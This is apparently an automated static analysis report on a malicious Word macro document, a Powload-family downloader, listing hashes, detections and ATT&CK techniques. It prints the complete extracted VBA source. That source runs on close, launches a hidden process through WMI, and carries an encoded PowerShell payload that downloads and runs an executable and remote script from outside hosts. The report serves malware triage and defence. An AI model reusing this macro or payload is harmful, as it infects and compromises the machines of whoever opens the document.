Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 316b2356aa6b502b…

MALICIOUS

Office (OOXML)

67.1 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2018-10-07
MD5: a56b964efa5c788e3e9bfab2d56861e4 SHA-1: 860bf7135ebd2d363f75c73f846c3fe94c09cfa3 SHA-256: 316b2356aa6b502b3e052bdf8ee2d98bd6a5aea1b012ab31f74e766d1d88fd3c
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. The AutoClose macro is present and uses GetObject to interact with WMI (Win32_Process). Specifically, it attempts to create a new process via `allotypy.Create`. This is a common technique for downloading and executing additional malicious payloads. The ClamAV detection 'Doc.Downloader.Powload-6707242-0' further supports this behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Powload-6707242-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6707242-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3377 bytes
SHA-256: 430af414d14a2b181731e70dad218562ae7d9baa5c3cd30020e8b3215390755c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function broadsheets(cervicothoracic)
  Const yeti = 0
  hyperconcentration = "."
  Set monorailway = GetObject("winmgmts:" _
      & "{impersonationLevel=impersonate}!\\" _
      & hyperconcentration & "\root\cimv2")
  Set they = monorailway.Get("Win32_ProcessStartup")
  Set hystazarin = they.SpawnInstance_
  hystazarin.ShowWindow = yeti

  Set allotypy = monorailway.Get("Win32_Process")
  utility = allotypy.Create _
      (cervicothoracic, Null, hystazarin, intProcessID)
End Function


Private Function agrin(oecist)
  flavoured = Array("H", "O", "q", "u", "g", "7", "K", "b", "n", "i", "3", "8", "2", "E", "w", "4", "M", "V", "N", "W", "S")
  predisappointment = Array("h", "o", "r", "p", "t", "-", "x", "w", "B", "i", "y", "c", ".", "l", "C", " ", "e", "E", "a", "N", "s")
  
  confess = vbNullString
  
  For Each educatedness In oecist
    tetrigid = nonprospect(educatedness, flavoured, UBound(flavoured))
    If tetrigid > -1 Then
    confess = predisappointment(tetrigid) & confess
    End If
  Next
  
  agrin = StrReverse(confess)
  
End Function

Public Function nonprospect(strengthening, dace, annularly)
  faciends = 3
  volcanic = 1992
  For faciends = 0 To annularly
    If dace(faciends) = strengthening Then
     volcanic = faciends
    End If
  Next

  If volcanic = 1992 Then
    volcanic = -1
  End If
  
  nonprospect = volcanic
End Function

Sub AutoClose()
  oecist = Array("u", "O", "b", "M", "q", "S", "H", "M", "E", "E", "2", "M", "K", "M", "4", "7", "W", "O", "V", "K", "i", "g", "4", "7", "V", "K", "M", "8", "4", "n", "3", "u", "N", "S", "S", "4", "7", "V", "w", "4")
  obtainers = "IAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGsAawBhAG4AcwBkAHEAdwBqAGUAZQBxAGIAbgB2AGMAegBtAHgAYwAuAGMAbwBtAC8AUwBTAC8AZABvAGcAawAuAHQAegBtACcALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAA2ADYANwBmADkANwA1ADAALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwANgA2ADcAZgA5ADcANQAwAC4AZQB4AGUAJwA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AawBrAGEAbgBzAGQAcQB3AGoAZQBlAHEAYgBuAHYAYwB6AG0AeABjAC4AYwBvAG0ALwBzAC4AcABoAHAAPwBpAGQAPQBkAG8AZwBrACcAKQA7ACAASQBFAFgAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBjAG4AaABvAHQAZQBsAHQAZQB4AC4AYwBvAG0ALwBTAHQAYQB0AC4AYwBvAHUAbgB0ACcAKQApADsA"
  stevedorage = agrin(oecist)
  
  Application.Run "lamiae", stevedorage + obtainers
  
End Sub


Private Sub lamiae(cervicothoracic)
   
   premosaic = DateDiff("s", #1/1/1970#, Now())
   dermapterous = True
   
   While dermapterous
     odelsting = premosaic + 60
     If odelsting - premosaic > 1 Then
       Application.Run "broadsheets", (cervicothoracic)
       dermapterous = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 95e00fb3e42a93f58e1187bd09adc726e5dc0af46b40e2aae27017eddecce3e4
Detection
ClamAV: Doc.Downloader.Powload-6707242-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).